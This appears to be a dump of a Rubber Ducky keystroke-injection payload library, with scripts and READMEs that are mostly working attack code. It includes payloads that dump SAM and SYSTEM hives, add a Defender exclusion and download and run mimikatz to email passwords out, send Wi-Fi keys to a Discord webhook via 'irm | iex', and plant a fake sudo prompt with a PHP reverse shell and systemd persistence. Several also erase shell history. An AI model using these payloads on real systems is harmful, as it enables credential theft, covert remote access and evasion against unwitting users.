WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nREM change this to your drive label\nDEFINE #DRIVE_LABEL DUCKY\nREM change this to the name of your PS1 script\nDEFINE #PS1_FILE_NAME 1.ps1\nIF ($_OS == WINDOWS) THEN\n    REM Initial Delay\n    DELAY 1000\n    REM Opens powershell with script execution enabled\n    GUI r\n    DELAY 700\n    STRINGLN powershell -ExecutionPolicy Bypass\n    DELAY 4000\n\n    REM Gets usb drive letter of #DRIVE_LABEL\n    STRINGLN_POWERSHELL\n     $targetLabel = \"#DRIVE_LABEL\"\n     $volume = Get-Volume | Where-Object { $_.FileSystemLabel -eq $targetLabel }\n     $driveLetter = $volume.DriveLetter + \":\"\n     cd $driveletter\n    END_STRINGLN\n    REM Runs powershell script\n    STRINGLN .\\#PS1_FILE_NAME\n\nEND_IF\n"
  },
  {
    "path": "payloads/library/credentials/SamDumpDucky/README.md",
    "content": "**Title: SamDumpDucky**\n\n<p>Author: 0i41E<br>\nOS: Windows<br>\nVersion: 2.0<br>\n\n**What is SamDumpDucky?**\n#\n<p>SamDumpDucky dumps the users sam and system hive and exfiltrate them onto the Ducky.<br>\nAfterwards you can use a tool like pypykatz to extract the users hashes.</p>\n\n\n**Instruction:**\n1. Change the language within the extension \"Windows_Elevated_Execution\" to your model, default was set to german.\n\n2. Compile the payload using PayloadStudio and place it onto your Ducky.\n\n3. Plug in your RubberDucky and wait for the process to end, this may take a while due to the Duckys slow transfer speed.\n\n4. Use a tool like samdump2 or pypykatz on your machine to extract the users hashes.\n\t> `samdump2 DuckySys DuckySam`\n\tor  `pypykatz registry DuckySys --sam DuckySam`\n\t\n\t**!Disclaimer! samdump2 has proven to be unreliable in the recent past.**\n\n![alt text](https://github.com/0i41E/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png)\n"
  },
  {
    "path": "payloads/library/credentials/SamDumpDucky/payload.txt",
    "content": "REM Title:         SamDumpDucky\nREM Description:   Dump users sam and system hive and exfiltrate them. Afterwards you can use a tool like pypykatz, to get the users hashes.\nREM Author:        0i41E\nREM Version:       2.0\nREM Category:      Credentials\nREM Attackmodes:   HID, Storage\n\nATTACKMODE HID STORAGE\n\nREM Extension made by Korben to increase speed\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nREM Extension made by 0i41E to automate elevated execution of powershell - Change language layout within here\nEXTENSION WINDOWS_ELEVATED_EXECUTION\n    REM VERSION 1.1\n    REM Author: 0i41E\n    REM Executes the desired program with elevated privileges\n    REM Conformation via keyboard shortcut for (currently) english, german and spanish layouts\n    REM additional extensions\n\n    REM CONFIGURATION:\n    REM Used to wait for the UAC prompt to react to input\n    DEFINE #INPUT_WAIT 2000\n    REM Shortcut for YES across multiple languages\n    DEFINE #ENGLISH_ACCEPT ALT y\n    DEFINE #GERMAN_ACCEPT ALT j\n    DEFINE #SPAIN_ACCEPT ALT s\n \n    FUNCTION Elevated_Execution()\n        DELAY #INPUT_WAIT  \n        CTRL-SHIFT ENTER\n        DELAY #INPUT_WAIT\n        REM Change below for appropriate language\n        #GERMAN_ACCEPT\n        DELAY #INPUT_WAIT\n    END_FUNCTION\n\n    REM EXAMPLE USAGE AFTER EXTENSION\n    REM DELAY 2000\n    REM GUI r\n    REM DELAY 2000\n    REM STRING powershell\n    REM Elevated_Execution()\n    REM STRINGLN whoami /priv\n\nEND_EXTENSION\n\nREM Extension by 0i41E, to signalize the successful execution of the payload\nEXTENSION DETECT_FINISHED\n    REM VERSION 1.0\n    REM AUTHOR: 0i41E\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Use the function Detect_Finished() to signal the finished execution of your payload.\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #PAUSE 150\n    FUNCTION Detect_Finished()\n        IF ($_CAPSLOCK_ON == FALSE)\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            ATTACKMODE OFF\n        ELSE IF\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            DELAY #PAUSE\n            CAPSLOCK\n            ATTACKMODE OFF\n        END_IF\n    END_FUNCTION\nEND_EXTENSION\n\nDELAY 1000\nGUI r\nDELAY 500\nSTRING powershell -nop -noni\nREM Opening elevated powershell via extension\nElevated_Execution()\nSTRINGLN cd (gwmi win32_volume -f 'label=''DUCKY''').Name\nDELAY 350\nREM Dumping Sam&System and saving them onto the ducky. This may take some time, potentially over 2 minutes\nSTRING Write-Host \"[+]Exfiltrating Sam&System...\" -ForegroundColor Green;reg save hklm\\sam DuckySam;Write-Host \"[?]This may take a while...\" -ForegroundColor Yellow;reg save hklm\\system DuckySys;Write-Host \"[+]Exfiltration Complete!\" -ForegroundColor Green\nSTRINGLN ;(New-Object -comObject Shell.Application).Namespace(17).ParseName((gwmi win32_volume -f 'label=''DUCKY''').Name).InvokeVerb('Eject');(New-Object -ComObject wscript.shell).SendKeys('{CAPSLOCK}');ExIt\nDELAY 250\nREM Waiting for CAPSLOCK, pressed by Powershell, to proceed with the finishing lines.\nWAIT_FOR_CAPS_ON\nDELAY 250\nDetect_Finished()\n"
  },
  {
    "path": "payloads/library/credentials/Simple_User_Password_Grabber/payload.txt",
    "content": "REM Title: windows password grabber\nREM Arthor makozort, https://github.com/makozort\nREM Target: windows 10 (with admin access), might work with windows 7 idk\nREM THIS IS FOR AUTHORISED USE ON MACHINES YOU EITHER OWN OR HAVE BEEN GIVEN ACCESS TO PEN TEST, MAKOZORT IS NOT LIABLE FOR ANY MISUSE OF THIS SCRIPT\nREM --------------set default delay based on targets computer speed, 350 is around mid range (I think)\nDEFAULT_DELAY 350\nREM -------------first delay is 1 second (you may need more) to let windows set up the \"keyboard\"\nDELAY 1000\nREM ------------open powershell as admin and set an exclusion path in the C:\\Users path\nGUI r\nSTRING powershell\nCTRL-SHIFT ENTER\nDELAY 600\nALT y\nSTRING Set-MpPreference -ExclusionPath C:\\Users\nENTER\nSTRING exit\nENTER\nREM -------------download mimikatz\nGUI r\nSTRING cmd\nCTRL-SHIFT ENTER\nDELAY 600\nALT y\nSTRING powershell (new-object System.Net.WebClient).DownloadFile('LINK TO MIMIKATZ.EXE DOWNLOAD HERE','%temp%\\pw.exe')\nENTER\nREM ------------run the following mimikatz commands and print results in new txt file\nDELAY 4000\nSTRING %TEMP%\\pw.exe > c:\\pwlog.txt & type pwlog.txt;\nENTER \nSTRING privilege::debug\nENTER\nSTRING sekurlsa::logonPasswords full\nENTER\nSTRING exit\nENTER\nREM< --------- delete mimikatz\nSTRING del %TEMP%\\pw.exe\nENTER\nSTRING exit\nENTER\nREM -------------email the pwlog.txt to your email\nGUI r\nSTRING powershell\nCTRL-SHIFT ENTER\nDELAY 600\nALT y\nSTRING Remove-MpPreference -ExclusionPath C:\\Users\nENTER\nSTRING $SMTPServer = 'smtp.gmail.com'\nENTER\nSTRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)\nENTER\nSTRING $SMTPInfo.EnableSsl = $true\nENTER\nSTRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@\nSHIFT 2\nSTRING gmail.com', 'PASSWORDHERE');\nENTER\nSTRING $ReportEmail = New-Object System.Net.Mail.MailMessage\nENTER\nSTRING $ReportEmail.From = 'THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@\nSHIFT 2\nSTRING gmail.com'\nENTER\nSTRING $ReportEmail.To.Add('THE-PART-OF-RECEIVERS-EMAIL-BEFORE-THE-@\nSHIFT 2\nSTRING gmail.com')\nENTER\nSTRING $ReportEmail.Subject = 'Hello from the ducky'\nENTER\nSTRING $ReportEmail.Body = 'Attached is your duck report.' \nENTER\nSTRING $ReportEmail.Attachments.Add('c:\\pwlog.txt')\nENTER\nSTRING $SMTPInfo.Send($ReportEmail)\nENTER\nDELAY 4000\nSTRING exit\nENTER\nREM ------cleanup time\nGUI r\nSTRING powershell\nCTRL-SHIFT ENTER\nDELAY 600\nALT y\nREM ----------delete the txt file\nSTRING del c:\\pwlog.txt\nENTER\nREM -------remove powershell history (this probably wont be enough to remove all traces of you, this is just to prevent inital investigations\nSTRING Remove-Item (Get-PSreadlineOption).HistorySavePath\nENTER\nSTRING exit\nENTER\nREM ------lock the pc\nGUI l\n"
  },
  {
    "path": "payloads/library/credentials/WLAN-Windows-Passwords/README.md",
    "content": "# WLAN Windows Password\n\nA script used to stole target WLAN Passwords.\n\n**Category**: Credentials\n\n## Description\n\nA script used to stole target WLAN Passwords.\n\nOpens PowerShell hidden, grabs wlan passwords, saves as a cleartext in a variable and exfiltrates info via Discord Webhook.\n\nThen it cleans up traces of what you have done after.\n\n## Getting Started\n\n### Dependencies\n\n* An internet connection\n* Windows 10,11\n\n### Executing program\n\n* Plug in your device\n* Invoke 2 netsh commands\n* Invoke-WebRequest will be entered in the Run Box to send the content\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/credentials/WLAN-Windows-Passwords/Windows-Passwords.ps1",
    "content": "\n# ENG\nnetsh wlan show profile | Select-String '(?<=All User Profile\\s+:\\s).+' | ForEach-Object {\n    $wlan  = $_.Matches.Value\n    $passw = netsh wlan show profile $wlan key=clear | Select-String '(?<=Key Content\\s+:\\s).+'\n\n\t$Body = @{\n\t\t'username' = $env:username + \" | \" + [string]$wlan\n\t\t'content' = [string]$passw\n\t}\n\t\n\tInvoke-RestMethod -ContentType 'Application/Json' -Uri $discord -Method Post -Body ($Body | ConvertTo-Json)\n}\n\n# Clear the PowerShell command history\nClear-History\n"
  },
  {
    "path": "payloads/library/credentials/WLAN-Windows-Passwords/payload.txt",
    "content": "REM ###################################################################\nREM #                                                                 |\nREM # Title        : WLAN-Windows-Passwords-Discord-Exfiltration      |\nREM # Author       : Aleff                                            |\nREM # Description: A script used to stole target WLAN Passwords.      |\nREM # Category     : Credentials                                      |\nREM # Target       : Windows 10-11                                    |\nREM # Version      : 1.0                                              |\nREM #                                                                 |\nREM ###################################################################\n\n\n\nDELAY 2000\nGUI r\nDELAY 250\nSTRING powershell -w h -ep bypass $discord='\n\nREM REQUIRED - Provide Discord Webhook - https://discordapp.com/api/webhooks/<webhook_id>/<token>\nDEFINE DISCORD example.com\nSTRING DISCORD\n\nREM Reply example.com with YOUR LINK. The Payload should be Windows-Passwords.ps1\nDEFINE PAYLOAD example.com\nSTRINGLN ';irm PAYLOAD | iex\n"
  },
  {
    "path": "payloads/library/credentials/WindowsLicenseKeyExfiltration/WindowsLicenseKeyExfiltration.txt",
    "content": "REM       WindowsLicenseKeyExfiltration\r\nREM       Version 1.0\r\nREM       OS: Windows\r\nREM       Author: 0i41E\r\nREM       Requirement: DuckyScript 3.0\r\nREM       This small powershell payload dumps the Windows license key, which can be either saved within the Bios and/or in the registry.\r\n\r\nREM Extension made by Korben for checking if Target is Windows OS\r\nEXTENSION EXTENSION PASSIVE_WINDOWS_DETECT\r\n    REM VERSION 1.1\r\n    REM AUTHOR: Korben\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        Windows fully passive OS Detection and passive Detect Ready\r\n        Includes its own passive detect ready.\r\n        Does not require additional extensions.\r\n\r\n        USAGE:\r\n            Extension runs inline (here)\r\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\r\n            boot delay\r\n            $_OS will be set to WINDOWS or NOT_WINDOWS\r\n            See end of payload for usage within payload\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #MAX_WAIT 150\r\n    DEFINE #CHECK_INTERVAL 20\r\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\r\n    DEFINE #NOT_WINDOWS 7\r\n\r\n    $_OS = #NOT_WINDOWS\r\n\r\n    VAR $MAX_TRIES = #MAX_WAIT\r\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\r\n        DELAY #CHECK_INTERVAL\r\n        $MAX_TRIES = ($MAX_TRIES - 1)\r\n    END_WHILE\r\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\r\n        $_OS = WINDOWS\r\n    END_IF\r\n\r\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\r\n        IF ($_OS == WINDOWS) THEN\r\n            STRING HELLO WINDOWS!\r\n        ELSE\r\n            STRING HELLO WORLD!\r\n        END_IF\r\n    END_REM\r\nEND_EXTENSION\r\n\r\nREM Extension made by 0i41E to signalize the payloads end\r\nEXTENSION DETECT_FINISHED\r\n    REM VERSION 1.0\r\n    REM AUTHOR: 0i41E\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        USAGE:\r\n            Use the function Detect_Finished() to signal the finished execution of your payload.\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #PAUSE 150\r\n    FUNCTION Detect_Finished()\r\n        IF ($_CAPSLOCK_ON == FALSE)\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            ATTACKMODE OFF\r\n        ELSE IF\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            DELAY #PAUSE\r\n            CAPSLOCK\r\n            ATTACKMODE OFF\r\n        END_IF\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\nREM Extension made by 0i41E for fileless exfiltration via Lock Keys\r\nEXTENSION WINDOWS_FILELESS_HID_EXFIL\r\n    REM VERSION 1.0\r\n    REM AUTHOR: 0i41E\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        Extension for Keystroke Reflection data exfiltration without putting files on disk.\r\n        This extension is a proof of concept for USB HID only Data Exfiltration and is based on Hak5s original Method.\r\n\r\n        TARGET:\r\n            Windows Hosts that supports powershell and SendKeys\r\n\r\n        USAGE:\r\n            Type out your command or script with powershell, don't execute it yet (so just type it out with STRING), afterwards you put the function Windows_Fileless_HID_Exfil() behind it.\r\n            It'll take the commands/scritps output and writes it into a variable, which then gets exfiltrated.\r\n\r\n        Example Usage:\r\n            GUI r\r\n            DELAY 500\r\n            STRINGLN powershell\r\n            DELAY 1000\r\n            STRING echo \"This is my test\"\r\n            Windows_Fileless_HID_Exfil()\r\n    END_REM\r\n\r\n    FUNCTION Windows_Fileless_HID_Exfil()\r\n        DELAY 250\r\n        REM Saving current Keyboard lock keys\r\n        SAVE_HOST_KEYBOARD_LOCK_STATE\r\n        $_EXFIL_MODE_ENABLED = TRUE\r\n        $_EXFIL_LEDS_ENABLED = TRUE\r\n        DELAY 500\r\n        REM Setting the output as variable\r\n        STRING |Out-String|Set-Variable -Name \"DD\";\r\n        REM Converting output into Lock Key values\r\n        STRING $BL = $DD.ToCharArray();$c = \"\";foreach ($b in $BL){foreach ($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if ($b -band $a){$c += '%{NUMLOCK}'}else{$c += '%{CAPSLOCK}'}}}$c += '%{SCROLLLOCK}';\r\n        REM Exfiltrating via Keystroke Reflection\r\n        STRINGLN Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($c);exit\r\n        REM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.\r\n        WAIT_FOR_SCROLL_CHANGE\r\n        LED_G\r\n        $_EXFIL_MODE_ENABLED = FALSE\r\n        RESTORE_HOST_KEYBOARD_LOCK_STATE\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\nREM If set to TRUE, keys will be send via PowerShells Invoke-Restmethod\r\nDEFINE #REMOTE_EXFIL FALSE\r\nREM Define the remote host to which the keys shall be send to. (Only when REMOTE_EXFIL is set to TRUE!)\r\nDEFINE #URL https://example.com/\r\n\r\nREM If Target is Windows, execute payload\r\nIF ($_OS == WINDOWS) THEN\r\n    GUI r\r\n    DELAY 500\r\n    STRINGLN powershell -nop -noni\r\n    DELAY 1000\r\n    STRINGLN Write-Host \"[+]Attempting exfiltration of Windows Product Keys...\" -ForegroundColor Green\r\n    DELAY 300\r\nREM Dumping License key when saved in Bios\r\n    STRING $Get_License = \"echo 'Product Key in Bios:';(Get-WmiObject -query 'select * from SoftwareLicensingService').OA3xOriginalProductKey;\r\nREM Dumping License key via registry\r\n    STRING Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -name BackupProductKeyDefault | Select-Object BackupProductKeyDefault\"\r\nREM Executing Get_License\r\n    STRING ;IeX $Get_License\r\n\r\nREM If REMOTE_EXFIL is set to TRUE,exfiltrate keys to remote host\r\n    IF_DEFINED_TRUE #REMOTE_EXFIL\r\n            DELAY 500\r\nREM Setting the output as variable & sending it to defined remote host\r\n            STRINGLN |Out-String|Set-Variable -Name \"DD\";Invoke-Restmethod -UseBasicParsing -Method Post -Uri \"#URL\" -Body $DD;exit\r\n            DELAY 150\r\n            Detect_Finished()\r\n    ELSE_DEFINED\r\nREM Exfiltrating License key via Keystroke Reflection\r\n            Windows_Fileless_HID_Exfil()\r\n            DELAY 150\r\n            Detect_Finished()\r\n    END_IF_DEFINED\r\nREM If System is not Windows...\r\nELSE\r\n    ATTACKMODE STORAGE\r\nEND_IF"
  },
  {
    "path": "payloads/library/credentials/WindowsLicenseKeyExfiltration/readme.md",
    "content": "**Title: WindowsLicenseKeyExfiltration**\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows<br>\r\nVersion: 1.0<br>\r\n\r\n**What is WindowsLicenseKeyExfiltration?**\r\n\r\n#\r\n<p>This payload exfiltrates the Windows Product keys from the target system. These can be saved in the registry and/or on the BIOS itself. Sometimes they can differ.\r\n\r\nThis may be an important process for Admins or for your private use.</p>\r\n\r\n\r\n**Instructions:**\r\n1. By default, the keys will get exfiltrated via Keystroke Reflection, which may take a while but does not require any form of internet connection or mass stoarge to be allowed. If you set `REMOTE_EXFIL` in line 132 to `TRUE`, then you'll need to define the address of the receiving remote host, this either can be an URL of a webhook or an IP_Address of a system of your choice. Define it in line 134.\r\n\r\n2. Plug in your RubberDucky into a Windows target and wait for the process to end.\r\n\r\n_*If plugged into a non Windows system, `ATTACKMODE STORAGE` will be triggered. This way you can collect the loot savely._\r\n\r\n3. Open the exfiltrated loot.bin file to access the recovered key, or check your remote host for received messages."
  },
  {
    "path": "payloads/library/credentials/datacopier/datacopier",
    "content": "REM Written and tested by Dante Sparda\nREM this took a lot of digging and research. please use responsibly. \nREM i wrote this on a wim but of course you can filter whatever you want to the loot folder \nREM I used some premise i found below and modified what i needed\nREM https://www.mathewjbray.com/powershell/powershell-get-drive-letters-by-volume-name-and-execute-robocopy/\n\nDELAY 1000\nGUI R \nDELAY 1000\nSTRING powershell.exe \nENTER\nDELAY 3000 \nSTRING cd C:\\Users\\$env:Username\\Pictures\\\nENTER\nSTRING get-childitem -Filter *.JPG\", *.PNG\" -path \"C:\\Users\\$env:Username\\Pictures\\\"\nENTER\nSTRING Copy-Item -path \"C:\\Users\\$env:Username\\Pictures\\\" -include \"*.JPG\", \"*.PNG\"  -Destination \"C:\\Windows\\Temp\" -Force -PassThru\nENTER\nSTRING cd C:\\Windows\\Temp\nENTER\nSTRING mkdir loot\nENTER\nSTRING $destinationLabel = \"DUCKY\"\nENTER\nSTRING $destinationLetter = Get-WmiObject -Class Win32_Volume | where {$_.Label -eq $destinationLabel} | select -expand name\nENTER\nSTRING get-childitem -Filter .jpg*, .png* -path C:\\Windows\\Temp | move-item -Destination \"C:\\Windows\\Temp\\loot\"\nENTER\nSTRING move-item -path C:\\Windows\\Temp\\loot -Destination $destinationLetter\nENTER\nEND\n"
  },
  {
    "path": "payloads/library/credentials/sudoSnatch/payload.txt",
    "content": "REM Title: sudoSnatch\nREM Description: sudoSnatch payload grabs sudo password in plain text, imediately after victim uses `sudo` command and sends it back to attacker remotely/locally..\nREM AUTHOR: drapl0n\nREM Version: 1.0\nREM Category: Credentials\nREM Target: Unix-like operating systems with systemd\nREM Attackmodes: HID\nREM Note: Replace IP address and port number on line no. 34 with yours.\nREM Note: Use command: [nc -l -p <port number>] to fetch captured passwords on attacking machine.\n\nREM [keeping tracks clear]\nDELAY 500\nCTRL-ALT t\nDELAY 400\nSTRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE\nENTER\nDELAY 100\n\nREM [creating password grabbing mechanism]\nSTRING mkdir /var/tmp/.system\nENTER\nDELAY 100\nSTRING echo -e \"#\\!/bin/bash\\necho -n \\\"[sudo] password for \\$(whoami):\\\"\\nIFS=\\\"\\\" read -s pass\\necho -e \\\"Timestamp=[\\$(date)] \\\\\\t User=[\\$(whoami)] \\\\\\t Password=[\\$pass]\\\" >> /var/tmp/.system/sysLog\\necho -e \\\"\\\\\\nSorry, try again.\\\"\" > /var/tmp/.system/systemMgr\nENTER\nDELAY 100\nSTRING touch /var/tmp/.system/sysLog\nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/systemMgr\nENTER\nDELAY 100\n\nREM [creating reverse shell]\nSTRING echo -e \"while :\\ndo\\n\\tping -c 5 0.0.0.0\\n\\tif [ $? -eq 0 ]; then\\n\\t\\tphp -r '\\$sock=fsockopen(\\\"0.0.0.0\\\",4444);exec(\"\\\"cat /var/tmp/.system/sysLog \"<&3 >&3 2>&3\"\\\"\");'\\n\\tfi\\ndone\" >  /var/tmp/.system/systemBus\nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/systemBus\nENTER\nDELAY 100\n\nREM [creating systemd service to execute payload on boot]\nSTRING mkdir -p ~/.config/systemd/user\nENTER\nDELAY 200\nSTRING echo -e \"[Unit]\\nDescription= System BUS handler\\n\\n[Service]\\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\\nRestart=on-failure\\nSuccessExitStatus=3 4\\nRestartForceExitStatus=3 4\\n\\n[Install]\\nWantedBy=default.target\" > ~/.config/systemd/user/systemBUS.service\nENTER\nDELAY 100\n\nREM [creating reboot script incase if listner stops or targets internet connection gets lost] \nSTRING echo \"while true; do systemctl --user restart systemBUS.service; sleep 15m; done\" > /var/tmp/.system/reboot\nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/reboot\nENTER\nDELAY 100\n\nREM [creating systemd service for reboot]\nSTRING echo -e \"[Unit]\\nDescription= System BUS handler reboot.\\n\\n[Service]\\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\\nRestart=on-failure\\nSuccessExitStatus=3 4\\nRestartForceExitStatus=3 4\\n\\n[Install]\\nWantedBy=default.target\" > ~/.config/systemd/user/reboot.service\nENTER\nDELAY 100\n\nREM [enabling services]\nSTRING systemctl --user daemon-reload\nENTER\nDELAY 300\nSTRING systemctl --user enable --now systemBUS.service\nENTER\nDELAY 150\nSTRING systemctl --user start --now systemBUS.service\nENTER\nDELAY 150\nSTRING systemctl --user enable --now reboot.service\nENTER\nDELAY 150\nSTRING systemctl --user start --now reboot.service\nENTER\nDELAY 100\n\nREM [autostarting service on terminal/shell launch]\nSTRING echo -e \"#\\!/bin/bash\\nls -a | grep 'zshrc' &> /dev/null\\nif [ \\$? = 0 ]; then\\n\\techo -e \\\"alias sudo='bash /var/tmp/.system/systemMgr && sudo'\\\" >> ~/.zshrc\\n\\techo \\\"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service && systemctl --user restart reboot.service\\\" >> ~/.zshrc\\nfi\\n\\nls -a | grep 'bashrc' &> /dev/null\\nif [ \\$? = 0 ]; then\\n\\techo -e \\\"alias sudo='bash /var/tmp/.system/systemMgr && sudo'\\\" >> ~/.bashrc\\n\\techo \\\"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service && systemctl --user restart reboot.service\\\" >> ~/.bashrc\\nfi\" > ~/tmmmp\nENTER\nDELAY 100\nSTRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit\nENTER\n"
  },
  {
    "path": "payloads/library/execution/$MFT-Duck-Crasher/payload.txt",
    "content": "REM Title: $MFT-Duck-Crasher\nREM Author: JonnyBanana\nREM A Simple Script for Rubber Ducky which Exploits Windows $MFT Vulnerability.\nREM $MFT is used by NTFS systems to manage some metadata. Works on windows 7, 8 and vista, dont work on windows 10. \nREM I think work on Xp and earlier. The system crash lasts until the machine is switched off, or until the blue screen of death appears\nREM works on w7 - w8 - Vista (and i think xp and earlier too)\nREM it uses a high delay to support even older computers\nDELAY 1000\nCONTROL ESCAPE\nDELAY 500\nSTRING C:$MFT\nDELAY 500\nENTER\nDELAY 700\nREM the 2nd enter is to close the error\nENTER\nDELAY 500\nCONTROL ESCAPE\nDELAY 500\nSTRING C:$MFT\\123\nDELAY 500\nENTER\nDELAY 700\nENTER\nDELAY 500\nCONTROL ESCAPE\nDELAY 500\nSTRING C:$MFT\nDELAY 500\nENTER\nDELAY 700\nENTER\nDELAY 500\nCONTROL ESCAPE\nDELAY 500\nSTRING C:$MFT\\123\nDELAY 500\nENTER\nDELAY 700\nENTER \n"
  },
  {
    "path": "payloads/library/execution/-RD-Play-WAV/Play-WAV.ps1",
    "content": "############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : Play-WAV          | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : Execution         | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 10,11     |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n# Dependencies : Dropbox           |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\n############################################################################################################################################################\n\n<#\n.NOTES\n\tThis script requires you to have a DropBox account or another file hosting service\n\n.DESCRIPTION \n\tThis program downloads a sound from your DropBox\n\tTurns the volume to max level on victims PC\n\tPauses the script until a mouse movement is detected\n\tThen plays the sound with nothing popping up catching your victim off guard\n\tFinally a few lines of script are executed to empty TMP folder, clear Run and Powershell history\n\n#>\n\n############################################################################################################################################################\n\n# Download Sound (When using your own link \"dl=0\" needs to be changed to \"dl=1\")\niwr https:// <Your DropBox shared link intended for file> ?dl=1 -O $env:TMP\\e.wav\n\n############################################################################################################################################################\n\n# This turns the volume up to max level\n$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}\n\n############################################################################################################################################################\n\n# This while loop will 